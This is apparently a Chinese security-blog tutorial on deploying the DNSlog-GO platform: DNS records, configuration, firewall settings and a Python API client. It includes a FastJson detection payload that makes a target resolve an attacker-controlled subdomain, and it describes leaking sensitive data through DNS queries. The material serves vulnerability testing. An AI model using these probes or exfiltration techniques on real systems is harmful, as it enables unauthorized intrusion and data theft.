DNSlog平台搭建教程
字数 952
更新时间 2025-08-12 14:04:47

DNSlog平台搭建与使用教程

一、DNSlog简介

DNSlog是一种利用DNS协议进行数据外带的技术,主要用于以下场景:

  • SQL盲注
  • 无回显的命令执行
  • 无回显的SSRF

当目标系统无法直接回显漏洞利用结果,但能够发送DNS请求时,可以通过DNSlog将数据外带出来。

二、搭建准备

1. 硬件要求

  • 一台VPS(公网IP示例:1.1.1.1)
  • 两个域名(示例:a.com和b.com)

2. 域名配置

  1. 在b.com中添加两个A记录:

    ns1.b.com → VPS公网IP
    ns2.b.com → VPS公网IP
    
  2. 修改a.com的NS记录为:

    ns1.b.com
    ns2.b.com
    

注意:部分域名提供商可能限制NS记录修改,需选择支持自定义NS的提供商。修改后需等待24-48小时生效。

三、DNSlog-GO部署

1. 项目介绍

DNSLog-GO是用Golang编写的DNS解析记录监控工具,具有多用户WEB界面。

2. 版本选择

  • 个人使用:推荐1.4版本
  • 团队使用:推荐最新版

下载地址:https://github.com/lanyi1998/DNSlog-GO/releases

3. 安装步骤

  1. 获取发行版

    • 从GitHub下载对应系统的压缩包(Linux/Mac)
    • 解压下载的文件
  2. 配置文件修改(config.ini):

    [HTTP]
    Port = 8080        # HTTP Web监听端口
    Token = admin1,admin2  # 多个用户token,用逗号分隔
    ConsoleDisable = false  # 是否关闭web页面
    
    [DNS]
    Domain = demo.com  # DNSlog的域名
    
  3. 防火墙配置

    • 放行53端口(DNS)
    • 放行80端口(HTTP)
  4. 启动服务

    • 运行./main启动服务
    • 服务重启后需清空浏览器localStorage

四、使用教程

1. Web界面访问

  • 访问http://[VPS_IP]:[PORT]
  • 使用配置文件中设置的token登录

2. API使用示例(Python)

import requests
import random
import json

class DnsLog():
    domain = ""
    token = ""
    Webserver = ""
    
    def __init__(self, Webserver, token):
        self.Webserver = Webserver  # dnslog的http监听地址,格式为ip:端口
        self.token = token  # token
        
        # 检测DNSLog服务器是否正常
        try:
            res = requests.post("http://" + Webserver + "/api/verifyToken", 
                              json={"token": token}).json()
            self.domain = res['Msg']
        except:
            exit("DnsLog 服务器连接失败")
        if res["Msg"] == "false":
            exit("DnsLog token 验证失败")
    
    # 生成随机子域名
    def randomSubDomain(self, length=5):
        subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
        return subDomain
    
    # 验证子域名是否存在
    def checkDomain(self, domain):
        res = requests.post("http://" + self.Webserver + "/api/verifyDns", 
                          json={"Query": domain}, 
                          headers={"token": self.token}).json()
        if res["Msg"] == "false":
            return False
        else:
            return True

# 使用示例
url = "http://192.168.41.2:8090/"
dns = DnsLog("1111:8888", "admin")
subDomain = dns.randomSubDomain()

payload = {
    "b": {
        "@type": "java.net.Inet4Address",
        "val": subDomain
    }
}

requests.post(url, json=payload)

if dns.checkDomain(subDomain):
    print("存在FastJson漏洞")

五、注意事项

  1. NS记录修改后需要较长时间生效(24-48小时)
  2. 服务端重启后需清空浏览器localStorage
  3. 确保VPS防火墙已放行必要端口(53和80)
  4. 部分云厂商的53端口可能需要备案才能使用
  5. 对于团队使用,可通过配置多个token实现多用户支持

六、进阶使用

  1. 自定义子域名:可以修改randomSubDomain方法生成特定模式的子域名
  2. 数据外带:通过DNS查询将敏感数据作为子域名的一部分外带
  3. 日志分析:WEB界面可以查看所有DNS查询记录,便于分析漏洞利用结果

通过以上步骤,您可以成功搭建并使用DNSlog平台进行安全测试和漏洞验证。

相似文章
相似文章
 全屏